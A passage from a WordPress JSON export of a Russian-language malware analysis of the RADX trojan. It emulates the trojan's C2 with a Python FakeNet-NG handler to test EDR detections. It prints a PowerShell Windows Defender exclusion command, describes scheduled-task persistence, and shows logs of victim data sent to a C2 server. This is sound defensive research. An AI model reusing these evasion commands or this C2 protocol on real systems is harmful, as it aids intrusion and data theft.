\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432;<\/p>\n<\/li>\n<li>\n<p><code>upload_file<\/code> \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442 \u0438 \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a (\u0431\u0430\u0442\u043d\u0438\u043a \u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440\u0430);<\/p>\n<\/li>\n<li>\n<p><code>open_link<\/code> \u2014 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435;<\/p>\n<\/li>\n<li>\n<p><code>backup_info<\/code> \u2014 \u0441\u0431\u043e\u0440 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u0438\u0445 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u043b EDR-\u0430\u0433\u0435\u043d\u0442, \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0435\u0433\u043e \u0432 ProcessBlackList \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0435 FakeNet-NG.<\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u043e\u0434 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 RADX.<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import socket import json import base64  user_uuid = \"7dbc8678-05bc-48da-8959-92300520e879\" default_user_response = {     \"user\": {         \"uuid\": user_uuid,         \"city\": \"\",         \"country\": \"\",         \"ip\": \"\",         \"postal\": \"\",         \"processor\": \"\",         \"ram\": 0,         \"registered_at\": \"\",         \"video_card\": \"\",         \"windows_version\": \"\"      },     \"data\": \"\",     \"filename\": \"\",     \"message\": \"\" }  STATE = 0  def send_response(req, message=\"\", data=\"\", filename=\"\"):     response = default_user_response     response[\"message\"] = message     response[\"data\"] = data     response[\"filename\"] = filename     response = json.dumps(response).encode()     req.send_response(200)     req.send_header('Content-Length', len(response))     req.send_header('content-type', 'application\/json; charset=utf-8')     req.end_headers()     req.wfile.write(response)     print(b'sending response: ', response)  def HandleRequest(req, method, post_data=None):     global STATE     print('C2 call:', method, req.path)      if req.path == '\/add_user':         send_response(req)         STATE = 0     elif req.path == f'\/check\/{user_uuid}':         if STATE == 0:             send_response(req, \"cmd\", \"wmic process call create calc.exe\")             STATE = 1         elif STATE == 1:             send_response(req, \"stream_start\")             STATE = 2         elif STATE == 2:             send_response(req, \"stream_stop\")             STATE = 3         elif STATE == 3:             raw = base64.b64encode(b'calc.exe').decode()             send_response(req, \"upload_file\", str(raw), \"mycalc.bat\")             STATE = 4         elif STATE == 4:             send_response(req, \"open_link\", \"http:\/\/google.com\")             STATE = 5         elif STATE == 5:             send_response(req, \"backup_info\")             STATE = 6     else:         send_response(req) <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c FakeNet-NG, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c EDR-\u0430\u0433\u0435\u043d\u0442, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c RADX.<\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0449\u0435\u0435 \u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0444\u0430\u0439\u043b\u0430 \u0441 \u0434\u0432\u043e\u0439\u043d\u044b\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u0430\u044f \u0432\u0435\u0449\u044c. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 image \u0432 <code>%LOCALAPPDATA%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\\<\/code>. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0430\u043a\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0435\u0449\u0435 \u043d\u0435\u0442, \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 DirectoryNotFoundException. \u0412 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u0443\u0442\u044c \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 \u0432 <code>%LOCALAPPDATA%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af<\/code> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f Defender, \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Task Scheduler \u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041f\u0440\u0438\u0447\u0435\u043c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u043d\u0436\u0435\u043a\u0442\u0430 \u0432  <code>%LOCALAPPDATA%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af<\/code> \u0431\u0443\u0434\u0435\u0442 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 AppLaunch.exe. \u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443 RADX \u044f\u0432\u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0434\u0443\u043c\u0430\u043d\u043e.<\/p>\n<p>\u0418\u0442\u0430\u043a, \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Task Scheduler.<\/p>\n<figure class=\"full-width\"><\/figure>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412 MaxPatrol EDR \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0410 \u0432\u043e\u0442 Powershell-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f AppLaunch.exe \u0432 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f Windows Defender.<\/p>\n<pre><code class=\"powershell\">powershell -Command Add-MpPreference -ExclusionPath \"%localappdata%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\\AppLaunch.exe\"<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 C2.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e RADX \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c IP-\u0430\u0434\u0440\u0435\u0441 \u0436\u0435\u0440\u0442\u0432\u044b \u0447\u0435\u0440\u0435\u0437 ipinfo.io\/json.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:43 PM [    HTTPListener80]   GET \/json HTTP\/1.1 02\/16\/24 05:43:43 PM [    HTTPListener80]   Host: ipinfo.io 02\/16\/24 05:43:43 PM [    HTTPListener80]   Connection: Keep-Alive 02\/16\/24 05:43:43 PM [    HTTPListener80]   <\/code><\/pre>\n<p>\u041f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0436\u0435\u0440\u0442\u0432\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u0432 \u043e\u0442\u0432\u0435\u0442 \u0441\u0432\u043e\u0439 id.<\/p>\n<pre><code class=\"markdown\">2\/16\/24 05:43:45 PM [  HTTPListener1337]   POST \/add_user HTTP\/1.1 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Content-Type: application\/json; charset=utf-8 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Content-Length: 227 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 05:43:45 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:45 PM [  HTTPListener1337]    02\/16\/24 05:43:45 PM [  HTTPListener1337]    02\/16\/24 05:43:45 PM [  HTTPListener1337] b'  {\"ip\":\"45.88.97.66\",\"country\":\"DE\",\"postal\":\"60311\",\"city\":\"Frankfurt am Main\",\"windows_version\":\"Microsoft Windows NT 6.3.9600.0\",\"ram\":33222656,\"video_card\":\"VMware SVGA 3D\",\"processor\":\"12th Gen Intel(R) Core(TM) i7-12700H\"}'<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 RADX \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 check\/&lt;id>, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0433\u043e\u0442\u043e\u0432\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:47 PM [  HTTPListener1337]   POST \/check\/7dbc8678-05bc-48da-8959-92300520e879 HTTP\/1.1 02\/16\/24 05:43:47 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:47 PM [  HTTPListener1337]   Content-Length: 0 02\/16\/24 05:43:47 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:47 PM [  HTTPListener1337]    02\/16\/24 05:43:47 PM [  HTTPListener1337]    02\/16\/24 05:43:47 PM [  HTTPListener1337] b'  '<\/code><\/pre>\n<p>\u041d\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440\u00a0\u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:50 PM [  HTTPListener1337]   POST \/7dbc8678-05bc-48da-8959-92300520e879\/cmd HTTP\/1.1 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Content-Type: application\/json; charset=utf-8 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Host: 193.106.95.60:1337 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Content-Length: 470 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Expect: 100-continue 02\/16\/24 05:43:50 PM [  HTTPListener1337]   Connection: Keep-Alive 02\/16\/24 05:43:50 PM [  HTTPListener1337]    02\/16\/24 05:43:50 PM [  HTTPListener1337]    02\/16\/24 05:43:50 PM [  HTTPListener1337] b'  {\"cmd\":\"TWljcm9zb2Z0IFdpbmRvd3MgW1ZlcnNpb24gMTAuMC4xOTA0NS4zOTMwXQ0KKGMpIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg0KYzpcVXNlcnNcdnNcdGVzdFxyYWR4PndtaWMgcHJvY2VzcyBjYWxsIGNyZWF0ZSBjYWxjLmV4ZQ0KRXhlY3V0aW5nIChXaW4zMl9Qcm9jZXNzKS0+Q3JlYXRlKCkNDQpNZXRob2QgZXhlY3V0aW9uIHN1Y2Nlc3NmdWwuDQ0KT3V0IFBhcmFtZXRlcnM6DQppbnN0YW5jZSBvZiBfX1BBUkFNRVRFUlMNCnsNCglQcm9jZXNzSWQgPSA5Njg0Ow0KCVJldHVyblZhbHVlID0gMDsNCn07DQoNCmM6XFVzZXJzXHZzXHRlc3RccmFkeD5leGl0DQoKDQo=\"}' <\/code><\/pre>\n<p>\u0421\u043d\u0438\u043c\u0430\u0435\u043c Base64.<\/p>\n<pre><code class=\"bash\">Microsoft Windows [Version 10.0.19045.3930] (c) Microsoft Corporation. All rights reserved.  c:\\Users\\vs\\test\\radx>wmic process call create calc.exe Executing (Win32_Process)->Create()  Method execution successful.  Out Parameters: instance of __PARAMETERS { ProcessId = 9684; ReturnValue = 0; };  c:\\Users\\vs\\test\\radx>exit<\/code><\/pre>\n<p>\u0412 MaxPatrol EDR \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 RADX \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432.<\/p>\n<pre><code class=\"markdown\">02\/16\/24 05:43:55 PM [  HTTPListener1337]   GET \/answer_stream_start\/7dbc8678-05bc-48da-8959-92300520e879 HTTP\/1.1 02\/16\/24 05:43:55 PM [  HTTPListener1337]<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-370564","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/370564","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=370564"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/370564\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=370564"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=370564"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=370564"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}